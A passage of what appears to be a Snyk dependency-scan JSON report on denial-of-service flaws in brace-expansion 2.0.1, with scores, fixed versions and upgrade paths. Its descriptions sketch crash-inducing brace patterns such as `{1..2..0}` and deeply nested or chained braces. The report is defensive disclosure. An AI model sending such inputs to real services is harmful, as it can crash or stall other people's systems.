"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be 